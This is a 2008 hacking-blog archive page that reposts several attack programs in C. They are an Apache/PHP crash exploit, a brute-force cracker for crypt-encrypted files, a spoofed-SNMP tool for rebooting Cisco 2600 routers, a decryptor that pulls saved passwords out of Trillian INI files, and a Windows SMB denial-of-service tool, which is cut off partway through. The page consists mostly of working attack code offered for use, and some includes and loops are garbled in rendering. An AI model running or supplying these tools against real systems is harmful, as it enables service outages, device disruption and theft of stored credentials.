Archive for September, 2008
POC: Crashing Apache 1.3.x with PHP
by The Uni-Hacker on Sep.30, 2008, under Security
Apache & PHP Proof of Concept Exploit
Summary
This is a proof of concept exploit for Apache/1.3.x + php_4.0.6. This code exploit multipart/form-data POST requests bug. This code only crashes the Apache daemon; it does not open any shell or execute code in the remote server. PHP supports multipart/form-data POST requests (as described in RFC1867) known as POST fileuploads. Unfortunately there are several flaws in the php_mime_split function that could be used by an attacker to execute arbitrary code.
Details
Example:
$ ./apache_php host 80 hi.php
$ cat /www/logs/error_log
[Sun Mar 3 02:50:36 2002] [notice] child pid 26856 exit signal Segmentation fault (11)
Exploit code:
#include#include #include #include #include #include #include #include #include #include #include #include #define MAX 1000 #define PORT 80 char *str_replace(char *rep, char *orig, char *string) { int len=strlen(orig); char buf[MAX]=""; char *pt=strstr(string,orig); strncpy(buf,string, pt-string ); strcat(buf,rep); strcat(buf,pt+strlen(orig)); strcpy(string,buf); return string; } int main(int argc,char *argv[MAX]) { int sockfd; int numbytes; int port; char *ptr; char POST_REQUEST[MAX] = "POST ##file HTTP/1.0\n" "Referer: http://host/xxxxxx/exp.php?hi_lames=haha\n" "Connection: Keep-Alive\nContent-type: multipart/for" "m-data; boundary=---------------------------1354088" "10612827886801697150081\nContent-Length: 567\n\n---" "--------------------------1354088106128278868016971" "50081\nContent-Disposition: form-data; name=\"\x8\""; struct hostent *he; struct sockaddr_in their_addr; if(argc!=4) { fprintf(stderr,"usage:%s \n",argv[0]); exit(1); } port=atoi(argv[2]); ptr=str_replace(argv[3],"##file",POST_REQUEST); //ptr=POST_REQUEST; if((he=gethostbyname(argv[1]))==NULL) { perror("gethostbyname"); exit(1); } if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("socket"); exit(1); } their_addr.sin_family=AF_INET; their_addr.sin_port=htons(port); their_addr.sin_addr=*((struct in_addr*)he->h_addr); bzero(&(their_addr.sin_zero),8); if( connect(sockfd,(struct sockaddr*)&their_addr,\ sizeof(struct sockaddr))==-1) { perror("connect"); exit(1); } if( send(sockfd,ptr,strlen(POST_REQUEST),0) ==-1) { perror("send"); exit(0); } close(sockfd); return 0; }
Another brute force c++ script.
by The Uni-Hacker on Sep.30, 2008, under Misc
#include// this program uses brute force hacking to decrypt a file // encrypted using the standard "crypt" command in UNIX. It // assumes that the key is a 4 ASCII character key which // contains only characters a to z and numbers 0 to 9. The // decrypted file is stored in temp.txt each time and if the // first 3 characters match [a-z0-9] then its stored in the // file named decryptedfile%key%.txt, where %key% is the key // used for that particular decryption. int main(int argc, char *argv[]) { if(argc!=2) { printf("Usage: BruteForceHacker encrypted_filename"); exit(1); } int i,j,k,l,w,x,y,z; int keybase[36]; // contains the characters a-z and numbers 0-9 for(i=0;i<26;i++) keybase[i] = i+97; for(i=26;i<36;i++) keybase[i] = i+22; char command[50], key[5]; // command contains the crypt command each time around // key contains the key each time around // looping which takes care of all possible combinations of characters in the keybase for(w=0;w<36;w++) for(x=0;x<36;x++) for(y=0;y<36;y++) for(z=0;z<36;z++) { key[0] = keybase[w]; key[1] = keybase[x]; key[2] = keybase[y]; key[3] = keybase[z]; key[4] = '\0'; printf("%s\n",key); sprintf(command,"crypt %s < %s > temp.txt",key,argv[1]); //printf("%s\n",command); system(command); // the decrypted characters are placed in temp.txt // reading the decrypted file char decryptedtext[1000]; char onechar[1]; int dtptr = 0; FILE *fp; fp = fopen("temp.txt","r"); while(1) { if(fread(onechar,1,1,fp)==0) break; decryptedtext[dtptr++] = onechar[0]; } fclose(fp); int flag; // checking whether the first 3 characters of the decrypted file contains english characters only for(i=0;i<3;i++) { flag = 0; for(j=0;j<36;j++) { if(decryptedtext[i]==keybase[j] || decryptedtext[i]==' ') { flag = 1; break; } } if(flag==0) { flag = 2; break; } } if(flag!=2) {// there was no mismatch printf("\n\ngotcha!\t\t%s\n",key); char movecommand[40]; // store the possible decrypted file in decryptedfile%key%.txt sprintf(movecommand,"mv temp.txt decryptedfile%s.txt",key); system(movecommand); } } }
Reboot Cisco 2600 routers
by The Uni-Hacker on Sep.30, 2008, under Misc
Using this code you could remotely reboot a Cisco 2600 router.
/* This program send a spoofed snmpv1 get request that cause system reboot
on Cisco 2600 routers with IOS version 12.0(10)
Author : kundera@tiscali.it ... don't be lame use for testing only! ..:) */
#include
#include
#include
#include
#include
#include
#include
#include
#include
struct in_addr sourceip_addr;
struct in_addr destip_addr;
struct sockaddr_in dest;
struct ip *IP;
struct udphdr *UDP;
int p_number=1,sok,datasize,i=0;
char *packet,*source,*target;
char *packetck;
char *data,c;
char snmpkill[] =
"\x30\x81\xaf\x02\x01\x00\x04\x06\x70\x75\x62\x6c\x69\x63\xa0\x81"
"\xa1\x02\x02\x09\x28\x02\x01\x00\x02\x01\x00\x30\x81\x94\x30\x81"
"\x91\x06\x81\x8c\x4d\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"
"\x25\x73\x25\x73\x25\x73\x81\xff\xff\xff\xff\xff\xff\xff\xff\x7f"
"\x05";
struct pseudoudp {
u_long ipsource;
u_long ipdest;
char zero;
char proto;
u_short length;
} *psudp;
in_cksum (unsigned short *ptr, int nbytes)
{
register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */
/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/
sum = 0;
while (nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}
/* mop up an odd byte, if necessary */
if (nbytes == 1)
{
oddbyte = 0; /* make sure top half is zero */
*((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
sum += oddbyte;
}
/*
* Add back carry outs from top 16 bits to low 16 bits.
*/
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return (answer);
}
void usage (void)
{
printf("Kundera CiscoKill v1.0\n");
printf("Usage: ciscokill [-n number of packets] [-s source ip_addr] -t ip_target \n");
}
int main(int argc,char **argv){
if (argc < 2){
usage();
exit(1);
}
while((c=getopt(argc,argv,"s:t:n:"))!=EOF){
switch(c) {
case 's': source=optarg; break;
case 'n': p_number=atoi(optarg); break;
case 't': target=optarg;
}
}
if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
printf("Can't create socket.\n");
exit(EXIT_FAILURE);
}
destip_addr.s_addr=inet_addr(target);
sourceip_addr.s_addr=inet_addr(source);
datasize=sizeof(snmpkill);
packet = ( char * )malloc( 20 + 8 + datasize );
IP = (struct ip *)packet;
memset(packet,0,sizeof(packet));
IP->ip_dst.s_addr = destip_addr.s_addr;
IP->ip_src.s_addr = sourceip_addr.s_addr;
IP->ip_v = 4;
IP->ip_hl = 5;
IP->ip_ttl = 245;
IP->ip_id = htons(666);
IP->ip_p = 17;
IP->ip_len = htons(20 + 8 + datasize);
IP->ip_sum = in_cksum((u_short *)packet,20);
UDP = (struct udphdr *)(packet+20);
UDP->source = htons(666);
UDP->dest = htons(161);
UDP->len = htons(8+datasize);
UDP->check = 0;
packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp));
bzero(packetck,8 + datasize + sizeof(struct pseudoudp));
psudp = (struct pseudoudp *) (packetck);
psudp->ipdest = destip_addr.s_addr;
psudp->ipsource = sourceip_addr.s_addr;
psudp->zero = 0;
psudp->proto = 17;
psudp->length = htons(8+datasize);
memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);
memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);
UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp));
data = (unsigned char *)(packet+20+8);
memcpy(data,snmpkill,datasize);
dest.sin_family=AF_INET;
dest.sin_addr.s_addr=destip_addr.s_addr;
while (i
Cpp: A Wireless Sniffer
by The Uni-Hacker on Sep.30, 2008, under Programming
Check it out here: http://www.hackerforums.org/index.php/topic,15.0.html
CPP: Cracking the Trillian INI file.
by The Uni-Hacker on Sep.30, 2008, under Programming
Crack the Trillian INI file.
/********************************
* trillian-ini-decrypt
* By The Coeus Group
* http://www.coeus-group.com
********************************
* Software: Trillian 0.73, possibly others.
* Issue: Weak "encryption" of saved passwords.
* Impact: Decryption of saved passwords.
* Severity: Medium. ish. The program only works locally, and only
* if the subject has saved their password, and really
* if someone can get into your AIM account, how earth-
* shattering is that??? However, since a lot of people
* use the same password for everything... What's easier,
* getting the password from Trillian, or Wells Fargo???
********************************
* Trillian is, according to trillian.cc, "...everything you need for instant
* messaging. Connect to ICQ®, AOL Instant Messenger(SM), MSN Messenger, Yahoo!
* Messenger and IRC in a single, sleek and slim interface."
*
* Upon examination of the Trillian directory (which defaults to
* C:\Program Files\Trillian\ ), it appears that passwords are stored in
* ini files that are located in {Path to Trillian}\users\{WindowsLogon}. The
* passwords are encrypted using a simple XOR with a key apparently uniform
* throughout every installation.
*
* This program takes, as command line argument(s), path(s) to these INI files.
* It will then display a list of usernames, "encrypted" passwords, and plaintext
* passwords.
*
* Evan Nemerson
* enemerson@coeus-group.com */
#include
#include
#include
#ifndef FALSE
#define FALSE 0
#endif
#ifndef TRUE
#define TRUE 1
#endif
void toupper(char* string);
int strlen(const char *s);
int strBeginsWith(const char *needle, const char *haystack);
int strIs(const char *subj, const char *eq);
void extractAcctounts(FILE *fp);
char *hex2str(char *string);
void decrypt();
void outPasswds();
void printhelp();
int main(int argc, char *argv[]);
struct account
{
char username[64];
char cyphertext[64];
char plaintext[32];
};
extern int errno;
struct account *pAccounts[32];
short int nAccounts = 0;
char key[] = "\xF3\x26\x81\xC4"
"\x39\x86\xDB\x92"
"\x71\xA3\xB9\xE6"
"\x53\x7A\x95\x7C";
void toupper(char* string)
{
short int x = 0;
for ( x = 0 ; x < (strlen(string)) ; x++ )
{
if ( ( string[x] > 96 ) && ( string[x] < 123 ) )
string[x] -= 32;
}
}
int strlen(const char *s)
{
short int n = 0;
while ( s[n] != 0 )
n++;
return n;
}
int strBeginsWith(const char *needle, const char *haystack)
{
short int x;
if ( strlen(needle) > strlen(haystack) )
return FALSE;
for ( x = 0 ; x < strlen(needle) ; x++ )
{
if ( needle[x] != haystack[x] )
return FALSE;
}
return TRUE;
}
int strIs(const char *subj, const char *eq)
{
short int x;
if ( strlen(subj) != strlen(eq) )
return FALSE;
for ( x = 0 ; x < strlen(subj) ; x++ )
{
if ( subj[x] != eq[x] )
return FALSE;
}
return TRUE;
}
void extractAcctounts(FILE *fp)
{
char buff[256], *ptr;
int x;
while ( !feof(fp) )
{
fgets(buff, 255, fp);
if ( strBeginsWith("name=", buff) )
{
buff[strlen(buff)-1] = 0;
pAccounts[nAccounts] = (struct account*)malloc(sizeof(struct account));
if ( pAccounts[nAccounts] == NULL )
{
perror("Failed to malloc()");
exit(errno);
}
ptr = pAccounts[nAccounts]->username;
for ( x = 5 ; x < strlen(buff) ; x++ )
{
ptr[x-5] = buff[x];
}
ptr[x-5] = 0;
nAccounts++;
}
if ( strBeginsWith("password=", buff) )
{
buff[strlen(buff)-1] = 0;
ptr = pAccounts[nAccounts-1]->cyphertext;
for ( x = 9 ; x < strlen(buff) ; x++ )
{
ptr[x-9] = buff[x];
}
ptr[x-9] = 0;
}
}
}
char *hex2str(char *string)
{
int x=0,n=0,i=0;
unsigned char hex[2];
unsigned char *out;
out = (unsigned char*)malloc((strlen(string)/2)+1);
if ( out == NULL )
{
perror("Failed to malloc()");
exit(errno);
}
// For hex number...
for ( x = 0 ; x < strlen(string) ; x+=2 )
{
out[i] = 0;
// Convert ASCII 0-F to decimal.
hex[0] = string[x]-48;
hex[1] = string[x+1]-48;
for ( n = 0 ; n < 2 ; n++ )
{
if ( hex[n] > 9 )
hex[n] -= 7;
}
out[i++] = (hex[0]*16)+hex[1];
}
out[i++] = 0;
return out;
}
void decrypt()
{
int n, x;
char *plain, *cypher;
for ( x = 0 ; x < nAccounts ; x++ )
{
cypher = hex2str(pAccounts[x]->cyphertext);
plain = pAccounts[x]->plaintext;
for ( n = 0 ; n < (strlen(cypher)-1) ; n++ )
{
plain[n] = cypher[n] ^ key[n];
}
}
}
void outPasswds()
{
int x;
printf(
"/----------------------------\\\n"
"| trillian-ini-decrypt |\n"
"| By The Coeus Group |\n"
"| http://www.coeus-group.com |\n"
"\\----------------------------/\n");
printf("Found %d accounts.\n\n", nAccounts);
for ( x = 0 ; x < nAccounts ; x++ )
{
printf( "Username: : %s\n"
"Password (encrypted): %s\n"
"Password (decrypted): %s\n\n",
pAccounts[x]->username,
pAccounts[x]->cyphertext,
pAccounts[x]->plaintext
);
}
}
void printhelp()
{
printf( "Just put the path to Trillian INI file as command-line\n"
"parameter. Don't forget to quote as needed. Will accept\n"
"multiple files.\n");
exit(0);
}
int main(int argc, char *argv[])
{
short int x;
FILE *fp;
if ( ( argc < 2 ) ) { printhelp(); }
if ( ( strIs(argv[1], "-h") ) |
( strIs(argv[1], "--help") ) |
( strIs(argv[1], "/?") )
) printhelp();
for ( x = 1 ; x < argc ; x++ )
{
fp = fopen(argv[x], "r");
if ( fp == NULL )
{
perror("Error");
exit(errno);
}
extractAcctounts(fp);
}
decrypt();
outPasswds();
return 0;
}
Linux: Crash Windows SMB Shares
by The Uni-Hacker on Sep.30, 2008, under Security
This “c” code will help you build a script that can crash Windows Shares. Use at your own risk!
/* * smbnuke.c -- Windows SMB Nuker (DoS) - Proof of concept * Copyright (C) 2002 Frederic Deletang (df@phear.org) * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 of * the License or (at your option) any later version. * * This program is distributed in the hope that it will be * useful, but WITHOUT ANY WARRANTY; without even the implied warranty * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ /* NOTE: * Compile this program using only GCC and no other compilers * (except if you think this one supports the __attribute__ (( packed )) attribute) * This program might not work on big-endian systems. * It has been successfully tested from the following plateforms: * - Linux 2.4.18 / i686 * - FreeBSD 4.6.1-RELEASE-p10 / i386 * Don't bother me if you can't get it to compile or work on Solaris using the SunWS compiler. * * Another thing: The word counts are hardcoded, careful if you hack the sources. */ /* Copyright notice: * some parts of this source (only two functions, name_len and name_mangle) * has been taken from libsmb. The rest, especially the structures has * been written by me. */ #include#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SESSION_REQUEST 0x81 #define SESSION_MESSAGE 0x00 #define SMB_NEGOTIATE_PROTOCOL 0x72 #define SMB_SESSION_SETUP_ANDX 0x73 #define SMB_TREE_CONNECT_ANDX 0x75 #define SMB_COM_TRANSACTION 0x25 #define bswap16(x) \ ((((x) >> 8) & 0xff) | (((x) & 0xff) << 8)) typedef struct { unsigned char server_component[4]; unsigned char command; unsigned char error_class; unsigned char reserved1; uint16_t error_code; uint8_t flags; uint16_t flags2; unsigned char reserved2[12]; uint16_t tree_id; uint16_t proc_id; uint16_t user_id; uint16_t mpex_id; } __attribute__ ((packed)) smb_header; typedef struct { unsigned char type; unsigned char flags; unsigned short length; unsigned char called[34]; unsigned char calling[34]; } __attribute__ ((packed)) nbt_packet; typedef struct { /* wct: word count */ uint8_t wct; unsigned char andx_command; unsigned char reserved1; uint16_t andx_offset; uint16_t max_buffer; uint16_t max_mpx_count; uint16_t vc_number; uint32_t session_key; uint16_t ANSI_pwlen; uint16_t UNI_pwlen; unsigned char reserved2[4]; uint32_t capabilities; /* bcc: byte count */ uint16_t bcc; } __attribute__ ((packed)) session_setup_andx_request; typedef struct { /* wct: word count */ uint8_t wct; unsigned char andx_command; unsigned char reserved1; uint16_t andx_offset; uint16_t flags; uint16_t pwlen; uint16_t bcc; } __attribute__ ((packed)) tree_connect_andx_request; typedef struct { /* wct: word count */ uint8_t wct; uint16_t total_param_cnt; uint16_t total_data_cnt; uint16_t max_param_cnt; uint16_t max_data_cnt; uint8_t max_setup_cnt; unsigned char reserved1; uint16_t flags; uint32_t timeout; uint16_t reserved2; uint16_t param_cnt; uint16_t param_offset; uint16_t data_cnt; uint16_t data_offset; uint8_t setup_count; uint8_t reserved3; /* bcc: byte count */ uint16_t bcc; } __attribute__ ((packed)) transaction_request; typedef struct { uint16_t function_code; unsigned char param_descriptor[6]; unsigned char return_descriptor[7]; uint16_t detail_level; uint16_t recv_buffer_len; } __attribute__ ((packed)) parameters; typedef struct { uint8_t format; unsigned char *name; } t_dialects; t_dialects dialects[] = { {2, "PC NETWORK PROGRAM 1.0"}, {2, "MICROSOFT NETWORKS 1.03"}, {2, "MICROSOFT NETWORKS 3.0"}, {2, "LANMAN1.0"}, {2, "LM1.2X002"}, {2, "Samba"}, {2, "NT LM 0.12"}, {2, "NT LANMAN 1.0"}, {0, NULL} }; enum { STATE_REQUESTING_SESSION_SETUP = 1, STATE_NEGOTIATING_PROTOCOL, STATE_REQUESTING_SESSION_SETUP_ANDX, STATE_REQUESTING_TREE_CONNECT_ANDX, STATE_REQUESTING_TRANSACTION } status; const unsigned char *global_scope = NULL; /**************************************************************************** * return the total storage length of a mangled name - from smbclient * ****************************************************************************/ int name_len (char *s1) { /* NOTE: this argument _must_ be unsigned */ unsigned char *s = (unsigned char *) s1; int len; /* If the two high bits of the byte are set, return 2. */ if (0xC0 == (*s & 0xC0)) return (2); /* Add up the length bytes. */ for (len = 1; (*s); s += (*s) + 1) { len += *s + 1; assert (len < 80); } return (len); } /* name_len */ /**************************************************************************** * mangle a name into netbios format - from smbclient * Note: must be (33 + strlen(scope) + 2) bytes long, at minimum. * ****************************************************************************/ int name_mangle (char *In, char *Out, char name_type) { int i; int c; int len; char buf[20]; char *p = Out; /* Safely copy the input string, In, into buf[]. */ (void) memset (buf, 0, 20); if (strcmp (In, "*") == 0) buf[0] = '*'; else (void) snprintf (buf, sizeof (buf) - 1, "%-15.15s%c", In, name_type); /* Place the length of the first field into the output buffer. */ p[0] = 32; p++; /* Now convert the name to the rfc1001/1002 format. */ for (i = 0; i < 16; i++) { c = toupper (buf[i]); p[i * 2] = ((c >> 4) & 0x000F) + 'A'; p[(i * 2) + 1] = (c & 0x000F) + 'A'; } p += 32; p[0] = '\0'; /* Add the scope string. */ for (i = 0, len = 0; NULL != global_scope; i++, len++) { switch (global_scope[i]) { case '\0': p[0] = len; if (len > 0) p[len + 1] = 0; return (name_len (Out)); case '.': p[0] = len; p += (len + 1); len = -1; break; default: p[len + 1] = global_scope[i]; break; } } return (name_len (Out)); } int tcp_connect (const char *rhost, unsigned short port) { struct sockaddr_in dest; struct hostent *host; int fd; host = gethostbyname (rhost); if (host == NULL) { fprintf (stderr, "Could not resolve host: %s\n", rhost); return -1; } dest.sin_family = AF_INET; dest.sin_addr.s_addr = *(long *) (host->h_addr); dest.sin_port = htons (port); fd = socket (AF_INET, SOCK_STREAM, 0); if (connect (fd, (struct sockaddr *) &dest, sizeof (dest)) < 0) { fprintf (stderr, "Could not connect to %s:%d - %s\n", rhost, port, strerror (errno)); return -1; } return fd; } void build_smb_header (smb_header * hdr, uint8_t command, uint8_t flags, uint16_t flags2, uint16_t tree_id, uint16_t proc_id, uint16_t user_id, uint16_t mpex_id) { memset (hdr, 0, sizeof (smb_header)); /* SMB Header MAGIC. */ hdr->server_component[0] = 0xff; hdr->server_component[1] = 'S'; hdr->server_component[2] = 'M'; hdr->server_component[3] = 'B'; hdr->command = command; hdr->flags = flags; hdr->flags2 = flags2; hdr->tree_id = tree_id; hdr->proc_id = proc_id; hdr->user_id = user_id; hdr->mpex_id = mpex_id; } unsigned char * push_string (unsigned char *stack, unsigned char *string) { strcpy (stack, string); return stack + strlen (stack) + 1; } void request_session_setup (int fd, char *netbios_name) { nbt_packet pkt; pkt.type = SESSION_REQUEST; pkt.flags = 0x00; pkt.length = bswap16 (sizeof (nbt_packet)); name_mangle (netbios_name, pkt.called, 0x20); name_mangle ("", pkt.calling, 0x00); write (fd, &pkt, sizeof (nbt_packet)); } void negotiate_protocol (unsigned char *buffer, int fd) { smb_header hdr; unsigned char *p; uint16_t proc_id, mpex_id; int i; proc_id = (uint16_t) rand (); mpex_id = (uint16_t) rand (); buffer[0] = SESSION_MESSAGE; buffer[1] = 0x0; build_smb_header (&hdr, SMB_NEGOTIATE_PROTOCOL, 0, 0, 0, proc_id, 0, mpex_id); memcpy (buffer + 4, &hdr, sizeof (smb_header)); p = buffer + 4 + sizeof (smb_header) + 3; for (i = 0; dialects[i].name != NULL; i++) { *p = dialects[i].format; strcpy (p + 1, dialects[i].name); p += strlen (dialects[i].name) + 2; } /* Set the word count */ *(uint8_t *) (buffer + 4 + sizeof (smb_header)) = 0; /* Set the byte count */ *(uint16_t *) (buffer + 4 + sizeof (smb_header) + 1) = (uint16_t) (p - buffer - 4 - sizeof (smb_header) - 3); *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (p - buffer - 4)); write (fd, buffer, p - buffer); } void request_session_setup_andx (unsigned char *buffer, int fd) { smb_header hdr; session_setup_andx_request ssar; uint16_t proc_id, mpex_id; unsigned char *p; proc_id = (uint16_t) rand (); mpex_id = (uint16_t) rand (); build_smb_header (&hdr, SMB_SESSION_SETUP_ANDX, 0x08, 0x0001, 0, proc_id, 0, mpex_id); buffer[0] = SESSION_MESSAGE; buffer[1] = 0x0; memcpy (buffer + 4, &hdr, sizeof (smb_header)); p = buffer + 4 + sizeof (smb_header); memset (&ssar, 0, sizeof (session_setup_andx_request)); ssar.wct = 13; ssar.andx_command = 0xff; /* No further commands */ ssar.max_buffer = 65535; ssar.max_mpx_count = 2; ssar.vc_number = 1025; ssar.ANSI_pwlen = 1; p = buffer + 4 + sizeof (smb_header) + sizeof (session_setup_andx_request); /* Ansi password */ p = push_string (p, ""); /* Account */ p = push_string (p, ""); /* Primary domain */ p = push_string (p, "WORKGROUP"); /* Native OS */ p = push_string (p, "Unix"); /* Native Lan Manager */ p = push_string (p, "Samba"); ssar.bcc = p - buffer - 4 - sizeof (smb_header) - sizeof (session_setup_andx_request); memcpy (buffer + 4 + sizeof (smb_header), &ssar, sizeof (session_setup_andx_request)); /* Another byte count */ *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (sizeof (session_setup_andx_request) + sizeof (smb_header) + ssar.bcc)); write (fd, buffer, sizeof (session_setup_andx_request) + sizeof (smb_header) + 4 + ssar.bcc); } void request_tree_connect_andx (unsigned char *buffer, int fd, const char *netbios_name) { smb_header hdr; tree_connect_andx_request tcar; uint16_t proc_id, user_id; unsigned char *p, *q; proc_id = (uint16_t) rand (); user_id = ((smb_header *) (buffer + 4))->user_id; build_smb_header (&hdr, SMB_TREE_CONNECT_ANDX, 0x18, 0x2001, 0, proc_id, user_id, 0); buffer[0] = SESSION_MESSAGE; buffer[1] = 0x0; memcpy (buffer + 4, &hdr, sizeof (smb_header)); memset (&tcar, 0, sizeof (tree_connect_andx_request)); tcar.wct = 4; tcar.andx_command = 0xff; /* No further commands */ tcar.pwlen = 1; p = buffer + 4 + sizeof (smb_header) + sizeof (tree_connect_andx_request); /* Password */ p = push_string (p, ""); /* Path */ q = malloc (8 + strlen (netbios_name)); sprintf (q, "\\\\%s\\IPC$", netbios_name); p = push_string (p, q); free (q); /* Service */ p = push_string (p, "IPC"); tcar.bcc = p - buffer - 4 - sizeof (smb_header) - sizeof (tree_connect_andx_request); memcpy (buffer + 4 + sizeof (smb_header), &tcar, sizeof (tree_connect_andx_request)); /* Another byte count */ *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (sizeof (tree_connect_andx_request) + sizeof (smb_header) + tcar.bcc)); write (fd, buffer, sizeof (tree_connect_andx_request) + sizeof (smb_header) + 4 + tcar.bcc); } void request_transaction (unsigned char *buffer, int fd) { smb_header hdr; transaction_request transaction; parameters params; uint16_t proc_id, tree_id, user_id; unsigned char *p; proc_id = (uint16_t) rand (); tree_id = ((smb_header *) (buffer + 4))->tree_id; user_id = ((smb_header *) (buffer + 4))->user_id; build_smb_header (&hdr, SMB_COM_TRANSACTION, 0, 0, tree_id, proc_id, user_id, 0); buffer[0] = SESSION_MESSAGE; buffer[1] = 0x0; memcpy (buffer + 4, &hdr, sizeof (smb_header)); memset (&transaction, 0, sizeof (transaction_request)); transaction.wct = 14; transaction.total_param_cnt = 19; /* Total lenght of parameters */ transaction.param_cnt = 19; /* Lenght of parameter */ p = buffer + 4 + sizeof (smb_header) + sizeof (transaction_request); /* Transaction name */ p = push_string (p, "\\PIPE\\LANMAN"); transaction.param_offset = p - buffer - 4; params.function_code = (uint16_t) 0x68; /* NetServerEnum2 */ strcpy (params.param_descriptor, "WrLeh"); /* RAP_NetGroupEnum_REQ */ strcpy (params.return_descriptor, "B13BWz"); /* RAP_SHARE_INFO_L1 */ params.detail_level = 1; params.recv_buffer_len = 50000; memcpy (p, ¶ms, sizeof (parameters)); p += transaction.param_cnt; transaction.data_offset = p - buffer - 4; transaction.bcc = p - buffer - 4 - sizeof (smb_header) - sizeof (transaction_request); memcpy (buffer + 4 + sizeof (smb_header), &transaction, sizeof (transaction_request)); /* Another byte count */ *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (sizeof (transaction_request) + sizeof (smb_header) + transaction.bcc)); write (fd, buffer, sizeof (transaction_request) + sizeof (smb_header) + 4 + transaction.bcc); } typedef struct { uint16_t transaction_id; uint16_t flags; uint16_t questions; uint16_t answerRRs; uint16_t authorityRRs; uint16_t additionalRRs; unsigned char query[32]; uint16_t name; uint16_t type; uint16_t class; } __attribute__ ((packed)) nbt_name_query; typedef struct { nbt_name_query answer; uint32_t ttl; uint16_t datalen; uint8_t names; } __attribute__ ((packed)) nbt_name_query_answer; char * list_netbios_names (unsigned char *buffer, size_t size, const char *rhost, unsigned short port, unsigned int timeout) { nbt_name_query query; struct sockaddr_in dest; struct hostent *host; int fd, i; fd_set rfds; struct timeval tv; printf ("Trying to list netbios names on %s\n", rhost); host = gethostbyname (rhost); if (host == NULL) { fprintf (stderr, "Could not resolve host: %s\n", rhost); return NULL; } memset (&dest, 0, sizeof (struct sockaddr_in)); dest.sin_family = AF_INET; dest.sin_addr.s_addr = *(long *) (host->h_addr); dest.sin_port = htons (port); if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) < 0) { fprintf (stderr, "Could not setup the UDP socket: %s\n", strerror (errno)); return NULL; } memset (&query, 0, sizeof (nbt_name_query)); query.transaction_id = (uint16_t) bswap16 (0x1e); //rand(); query.flags = bswap16 (0x0010); query.questions = bswap16 (1); name_mangle ("*", query.query, 0); query.type = bswap16 (0x21); query.class = bswap16 (0x01); if (sendto (fd, &query, sizeof (nbt_name_query), 0, (struct sockaddr *) &dest, sizeof (struct sockaddr_in)) != sizeof (nbt_name_query)) { fprintf (stderr, "Could not send UDP packet: %s\n", strerror (errno)); return NULL; } /* Now, wait for an answer -- add a timeout to 10 seconds */ FD_ZERO (&rfds); FD_SET (fd, &rfds); tv.tv_sec = timeout; tv.tv_usec = 0; if (!select (fd + 1, &rfds, NULL, NULL, &tv)) { fprintf (stderr, "The udp read has reached the timeout - try setting the netbios name manually - exiting...\n"); return NULL; } recvfrom (fd, buffer, size, 0, NULL, NULL); for (i = 0; i < ((nbt_name_query_answer *) buffer)->names; i++) if ((uint8_t) * (buffer + sizeof (nbt_name_query_answer) + 18 * i + 15) == 0x20) return buffer + sizeof (nbt_name_query_answer) + 18 * i; printf ("No netbios name available for use - you probably won't be able to crash this host\n"); printf ("However, you can try setting one manually\n"); return NULL; } char * extract_name (const char *name) { int i; char *p = malloc(14); for (i = 0; i < 14; i++) if (name[i] == ' ') break; else p[i] = name[i]; p[i] = '\0'; return p; } void print_banner (void) { printf ("Windows SMB Nuker (DoS) - Proof of concept - CVE CAN-2002-0724\n"); printf ("Copyright 2002 - Frederic Deletang (df@phear.org) - 28/08/2002\n\n"); } int is_smb_header (const unsigned char *buffer, int len) { if (len < sizeof (smb_header)) return 0; if (buffer[0] == 0xff && buffer[1] == 'S' && buffer[2] == 'M' && buffer[3] == 'B') return 1; else return 0; } int main (int argc, char **argv) { int fd, r, i, c; unsigned char buffer[1024 * 4]; /* Enough. */ char *hostname = NULL, *name = NULL; unsigned int showhelp = 0; unsigned int packets = 10; unsigned int state; unsigned int udp_timeout = 10; unsigned int tcp_timeout = 10; unsigned short netbios_ssn_port = 139; unsigned short netbios_ns_port = 137; fd_set rfds; struct timeval tv; srand (time (NULL)); print_banner (); while ((c = getopt (argc, argv, "N:n:p:P:t:T:h")) != -1) { switch (c) { case 'N': name = optarg; break; case 'n': packets = atoi (optarg); break; case 'p': netbios_ns_port = atoi (optarg); break; case 'P': netbios_ssn_port = atoi (optarg); break; case 't': udp_timeout = atoi (optarg); break; case 'T': tcp_timeout = atoi (optarg); break; case 'h': default: showhelp = 1; break; } } if (optind < argc) hostname = argv[optind++]; if (showhelp || hostname == NULL) { printf ("Usage: %s [options] hostname/ip...\n", 